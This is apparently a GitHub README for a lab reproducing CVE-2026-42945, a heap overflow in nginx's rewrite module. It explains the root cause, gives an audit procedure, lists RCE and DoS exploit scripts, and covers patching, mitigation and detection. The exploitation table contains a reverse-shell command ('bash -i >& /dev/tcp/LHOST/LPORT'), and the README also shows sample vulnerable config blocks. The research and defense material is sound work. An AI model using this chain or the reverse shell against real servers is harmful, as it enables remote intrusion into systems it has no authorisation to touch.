niekaicheng/CVE-2026-42945_NGINX_Rift
GitHub: niekaicheng/CVE-2026-42945_NGINX_Rift
Stars: 0 | Forks: 0
# CVE-2026-42945 — NGINX Rift
## Overview
CVE-2026-42945, dubbed **NGINX Rift**, is an 18-year-old latent **heap-based buffer overflow** (CWE-122) in NGINX's `ngx_http_rewrite_module`, present from NGINX 0.6.27 (2008) through 1.30.0.
| Field | Value |
|-------|-------|
| CVE ID | CVE-2026-42945 |
| Common Name | NGINX Rift |
| Disclosed | 2026-05-13 |
| Introduced | 2008 — NGINX 0.6.27 |
| CVSS 4.0 | **9.2 Critical** |
| CVSS 3.1 | **8.1 High** — AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-122 Heap-based Buffer Overflow |
| Affected | NGINX OSS 0.6.27 – 1.30.0; NGINX Plus R32 – R36 |
| Fixed In | NGINX OSS 1.30.1 / 1.31.0; NGINX Plus R36 P1 / R37 |
## Configuration Audit
Even on a vulnerable NGINX version, the overflow cannot trigger unless the config contains a specific directive combination. Use this one-liner to scan all nginx configs:
grep -rn '\$[0-9]' /etc/nginx/
A location block is vulnerable only when **all three conditions** are present simultaneously:
| Condition | Example |
|-----------|---------|
| ① Unnamed PCRE capture groups | `([0-9]+)` referenced as `$1` |
| ② Literal `?` in the rewrite target path | `rewrite … /path?id=$1` |
| ③ A subsequent directive in the same block | `set`, `if`, or a second `rewrite` |
A standalone `rewrite … break;` is **not** vulnerable — the fast path adds an escape-size budget that prevents the mismatch.
**Example of a vulnerable block:**
location /users/ {
rewrite ^/users/([0-9]+)/profile/(.*)$ /profile.php?id=$1&tab=$2 last;
set $tracking_id "visitor"; # ← this set in the same block is the trigger
}
## Root Cause
NGINX's `ngx_http_script_complex_value_code` evaluates directives in **two passes**:
- **Pass 1 (length calc):** Uses a sub-engine `le` created with `ngx_memzero` → `le.is_args = 0`. Computes raw byte count with no escape factor, then calls `ngx_palloc()`.
- **Pass 2 (write):** Uses the main engine `e` with `e.is_args = 1` (set by an earlier `rewrite … ?…` directive). Applies `NGX_ESCAPE_ARGS` escaping: each `[` expands from 1 byte → `%5B` (3 bytes).
**Result:** the buffer allocated in Pass 1 is undersized by `2 × N` bytes for `N` args-unsafe characters, causing a heap overflow during Pass 2.
The bug only triggers with this specific directive combination in one `location` block:
location ~* ^/trigger/ {
rewrite ^/trigger/(.*)$ /new/?data=$1; # sets is_args=1 on main engine
set $foo $1; # routes through complex_value_code — OVERFLOW
}
A standalone `rewrite … break;` is **not** vulnerable (fast path adds an escape-size budget).
## Lab Environment
+-----------------------------+ +------------------------------------+
| Kali Linux (Attacker) | | Ubuntu 22.04.5 LTS (Target) |
| 192.168.56.101 | TCP:8080 | 192.168.56.104 |
| exploit scripts | -------> | nginx 1.24.0 (vulnerable) |
| nc listener :4444 | | ASLR = 0 |
+-----------------------------+ +------------------------------------+
VirtualBox Host-Only Network — 192.168.56.0/24
| Role | OS | IP | Credentials |
|------|----|----|-------------|
| Attacker | Kali Linux 2024.x | 192.168.56.101 | kali / <password> |
| Target | Ubuntu 22.04.5 LTS | 192.168.56.104 | lab / <password> |
## Repository Structure
.
├── README.md
├── QUICKSTART.md # ← 从这里开始:9 步复现手册(含环境变量配置)
├── LAB_SETUP.md # Full lab environment setup (all 3 CVEs)
├── vuln.conf # Vulnerable nginx location block
├── setup_nginx_target.sh # Target bootstrap script
│
├── CVE-2026-42945_Lab_Report.md # Full technical lab report
├── CVE-2026-42945_Exploit_Mechanics.md # 深度分析:两次计算不一致/cleanup覆盖/system()植入/AC:H解析
├── CVE-2026-42945_Plain_Explanation.md # Non-technical explanation (Chinese)
├── CVE-2026-42945_Reproduction_Guide.md # Detailed step-by-step reproduction guide
│
├── audit_nginx.sh # Config audit: version check + 3-condition scan + ASLR status
├── two_pass_overflow_demo.c # Standalone C model of the two-pass bug
├── two_pass_overflow_demo.py # Python model + Valgrind verification
├── gdb_find_addrs.py # GDB helper to locate live heap addresses
│
├── exploit.py # DoS / RCE PoC (heap grooming + overflow)
├── exploit_spray.py # No-root heap-spray RCE (pure HTTP, no ptrace) ★
├── exploit_clean.py # Cleanup-chain RCE — 4-bug-fix rewrite, doubly verified ★
│
├── legacy/ # Superseded scripts (kept for development history)
│ ├── pwn_rift.py # → superseded by exploit_spray.py -c '...'
│ ├── pwn_direct.py # → superseded by exploit_spray.py -c '...'
│ ├── exploit_cleanup.py # → superseded by exploit_clean.py
│ └── exploit_pr_n.py # → superseded by exploit_clean.py
│
├── nginx_1.24.0-jammy_amd64.deb # Vulnerable nginx binary
├── nginx_1.30.1-jammy_amd64.deb # Patched nginx binary (defense verification)
├── libc6-dbg_2.35-0ubuntu3.13_amd64.deb # glibc debug symbols
├── libc6-i386_2.35-0ubuntu3.13_amd64.deb # glibc i386 (dependency)
└── rift_error.log # Sample nginx error log showing worker crash
## Exploitation Chain
| Step | Script | Technique | Result |
|------|--------|-----------|--------|
| 1 | `two_pass_overflow_demo.py` | Valgrind heap model | Confirms `Invalid write of size 1` |
| 2 | `gdb_find_addrs.py` | GDB live heap inspection | Locates pool layout, `system()` VA |
| 3 | `exploit.py --dos` | Flood overflow requests | Worker SIGSEGV → DoS |
| 4 | `exploit_spray.py` | No-root heap spray (pure HTTP) ★ | `system()` via cleanup chain, no ptrace |
| 4b | `exploit_clean.py` | Cleanup chain via ptrace (4-bug-fix) ★ | `system()` via `ngx_destroy_pool`, worker alive — **doubly verified 2026-05-27** |
| 5 | `exploit_spray.py -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'` | No-root reverse shell ★ | Interactive `nginx@ubuntu-target` shell |
| — | `legacy/pwn_rift.py` | ptrace + reverse shell *(superseded)* | Replaced by `exploit_spray.py -c` |
| — | `legacy/pwn_direct.py` | ptrace register hijack *(superseded)* | Replaced by `exploit_spray.py -c` |
| — | `legacy/exploit_cleanup.py` | Cleanup chain via ptrace *(superseded)* | Replaced by `exploit_clean.py` |
| — | `legacy/exploit_pr_n.py` | HTTP overflow write primitive *(superseded)* | Replaced by `exploit_clean.py` |
## Quick Start
**→ 见 [`QUICKSTART.md`](QUICKSTART.md)**,包含从零开始的 9 步复现手册:
| 步骤 | 内容 |
|------|------|
| 第 0 步 | 填写你的环境变量(攻击机 / 靶机 IP),后续命令一键复制 |
| 第 1 步 | 靶机初始化(`setup_nginx_target.sh`) |
| 第 2 步 | 确认 nginx 1.24.0 服务可达 |
| 第 3 步 | debug 日志确认漏洞触发路径 |
| 第 4 步 | Valgrind 验证堆溢出 |
| 第 5 步 | ASAN 编译验证 worker crash |
| 第 6 步 | RCE — 无 root 堆喷射(`exploit_spray.py`,纯 HTTP)★ |
| 第 7 步 | RCE — 精简版清理链(`exploit_clean.py`)**★ 已二次验证,推荐** |
| 第 8 步 | RCE — 反向 Shell(`exploit_spray.py -c 'bash -i >& /dev/tcp/...'`)★ |
| legacy | 历史迭代脚本见 `legacy/`(`pwn_rift.py` / `pwn_direct.py` / `exploit_cleanup.py` / `exploit_pr_n.py`) |
| 第 9 步 | 防御验证(升级 nginx 1.30.1) |
详细原理和每步预期输出见 [`CVE-2026-42945_Reproduction_Guide.md`](CVE-2026-42945_Reproduction_Guide.md)。
## Defense
### 1. Patch (Recommended)
Upgrade to NGINX OSS ≥ 1.30.1 or NGINX Plus ≥ R36 P1. Using the official NGINX repository:
curl https://nginx.org/keys/nginx_signing.key | gpg --dearmor | \
sudo tee /usr/share/keyrings/nginx-archive-keyring.gpg >/dev/null
echo "deb [signed-by=/usr/share/keyrings/nginx-archive-keyring.gpg] \
http://nginx.org/packages/ubuntu $(lsb_release -cs) nginx" | \
sudo tee /etc/apt/sources.list.d/nginx.list
sudo apt-get update && sudo apt-get install -y nginx=1.30.1-1~$(lsb_release -cs)
nginx -v # → nginx/1.30.1
sudo systemctl reload nginx
### 2. Emergency Config Mitigation (No Downtime Required)
If you cannot upgrade immediately, replace **unnamed** capture groups (`$1`, `$2`) with **named** captures. The named-capture execution path does not have the two-pass mismatch:
# BEFORE — vulnerable (unnamed captures)
rewrite ^/users/([0-9]+)/profile/(.*)$ /profile.php?id=$1&tab=$2 last;
set $tracking_id "visitor";
# AFTER — safe (named captures)
rewrite ^/users/(?[0-9]+)/profile/(?.*)$ /profile.php?id=$uid&tab=$section last;
set $tracking_id "visitor";
Test and reload:
sudo nginx -t && sudo systemctl reload nginx
### 3. Verify ASLR is Enabled
ASLR is the primary OS-level barrier against RCE. Check your system:
cat /proc/sys/kernel/randomize_va_space
| Value | Mode | Risk |
|-------|------|------|
| `0` | Disabled | **Critical — heap layout is predictable, RCE is achievable** |
| `1` | Conservative | Moderate |
| `2` | Full | Safe — standard heap exploits blocked |
If your system returns `0` or `1`, enable full ASLR permanently:
echo 'kernel.randomize_va_space=2' | sudo tee -a /etc/sysctl.conf
sudo sysctl -p
Note: `-pie` compilation flag (present in stock nginx) ensures ASLR also randomizes the nginx binary itself when ASLR ≥ 1. `-fstack-protector-strong` does **not** help — this is a heap overflow, not a stack overflow.
### 4. Log Monitoring — Detecting Exploitation Attempts
Attackers probing for this vulnerability will crash worker processes. Monitor these indicators:
# nginx error log — most direct indicator
grep "worker process exited on signal 11" /var/log/nginx/error.log
# kernel log — shows the segfault address
dmesg | grep -i "segfault.*nginx"
grep "segfault" /var/log/syslog | grep nginx
Repeated `signal 11` entries with no matching application error are a reliable indicator of automated buffer overflow testing.
### 5. WAF
Block requests with args-unsafe characters in capture groups: `%5B`, `%5D`, `%7B`, `%7D`, `%7C`.
## References
- [F5 Security Advisory K000161019](https://my.f5.com/manage/s/article/K000161019)
- NGINX Source — `ngx_http_script.c:1752` (`ngx_http_script_complex_value_code`)
- NVD: CVE-2026-42945
## Authors
Security research project, 2026
标签:后端开发